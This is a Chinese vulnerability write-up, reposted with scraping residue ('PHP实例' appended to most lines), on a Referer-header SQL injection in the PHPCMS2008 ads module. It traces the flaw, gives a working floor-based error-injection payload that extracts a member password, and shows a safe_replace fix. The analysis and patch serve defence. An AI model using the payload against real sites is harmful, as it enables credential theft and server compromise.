PHPCMS2008广告模板SQL注入漏洞修复

概述介绍《PHP实战：PHPCMS2008广告模板SQL注入漏洞修复》开发教程，希望对您有用。

《PHP实战：PHPCMS2008广告模板sql注入漏洞修复》要点：
本文介绍了PHP实战：PHPCMS2008广告模板sql注入漏洞修复，希望对您有用。如果有疑问，可以联系我们。

00 漏洞描述PHP实例

PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透.PHP实例

01 漏洞分析PHP实例

漏洞产生的位置：PHP实例

/ads/include/ads_place.class.PHP的show方法中.PHP实例

function show($placeID)...if($adses[0]['option']){foreach($adses as $ads){$contents[] = ads_content($ads,1);$this->db->query(“INSERT INTO$this->stat_table(`adsID`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsID]','$_username','$ip',‘$this->referrer',‘$time','0')”);$template = $ads['template'] ? $ads['template'] : 'ads';}}...

SQL语句中PHP实例

$this->db->query(“INSERT INTO$this->stat_table(`adsID`,'0')”);

这里$this->referrer通过this方法直接将http请求头中的referer字段插入到数据库中,没有做任何过滤措施.(这个this方法是PHPCMS里面直接封装的).PHP实例

所以现在已经找到漏洞点,下一步就是找包含漏洞的用户可控的页面.如果漏洞是用户不可控的,比如只能管理员利用,那就相当的鸡肋了.PHP实例

这里使用回溯的方法,看看哪些页面调用了它.PHP实例

页面/ads/include/commom.inc.PHPPHP实例

<?PHP ...require MOD_ROOT.'include/ads_place.class.PHP';require MOD_ROOT.'include/ads.class.PHP';...?>

在往上看看谁调用了/ads/include/commom.inc.PHPPHP实例

/ads/ad.PHP文件中PHP实例

<?PHP...require './include/common.inc.PHP';...?>

ad.PHP文件为用户可控文件,但ad.PHP有时不能访问,继续向上查找/data/Js.PHPPHP实例

<?PHPchdir(‘../ads/');require ‘./ad.PHP';?>

在用户访问首页时,会调用Js.PHP,通过该文件可以提交有害字段,然后通过逐层调用,传入字段referer到危险方法show,引入sql注入攻击.PHP实例

02 漏洞利用PHP实例

修改请求头中的referer字段的话有很多种,比如burpsuite,Tamper Data…PHP实例

这里直接使用火狐的Tamper Data进行修改：PHP实例

点击Start Tamper,然后访问http://your-addr/data/Js.PHP?ID=1PHP实例

这时候Tamper Data会跳出来,在右边框内,点击右键,添加一个element值填写payloadPHP实例

referer=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),char(45,45,45),(SELECT password from PHPCMS_member limit 1))a from information_schema.tables group by a)b),‘0')#

这里我解释一下：因为漏洞的SQL语句是INSERT是不回显的,所以可以使用盲注,这里的payload使用的floor报错注入.floor报错注入原理请参考：floor函数用法PHP实例

把这个payload带入SQL语句中是：PHP实例

$this->db->query(“INSERT INTO$this->stat_table(`adsID`,‘1',‘0')#,'0')”);

PHP实例

03 漏洞修复PHP实例

对相关字段进行过滤处理.PHP实例

$referer = safe_replace($this->referer);$this->db->query("INSERT INTO $this->stat_table (`adsID`,`type`) VALUES ('$ads[adsID]','$referer','$time','0')");$template = $ads['template'] ? $ads['template'] : 'ads';

这里safe_replace是PHPCMS2008封装的过滤函数.PHP实例

以上所述是小编给大家介绍的PHPCMS2008广告模板sql注入漏洞,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的.在此也非常感谢大家对内存溢出网站的支持!PHP实例

总结

以上是内存溢出为你收集整理的PHPCMS2008广告模板SQL注入漏洞修复全部内容，希望文章能够帮你解决PHPCMS2008广告模板SQL注入漏洞修复所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错，欢迎将内存溢出网站推荐给程序员好友。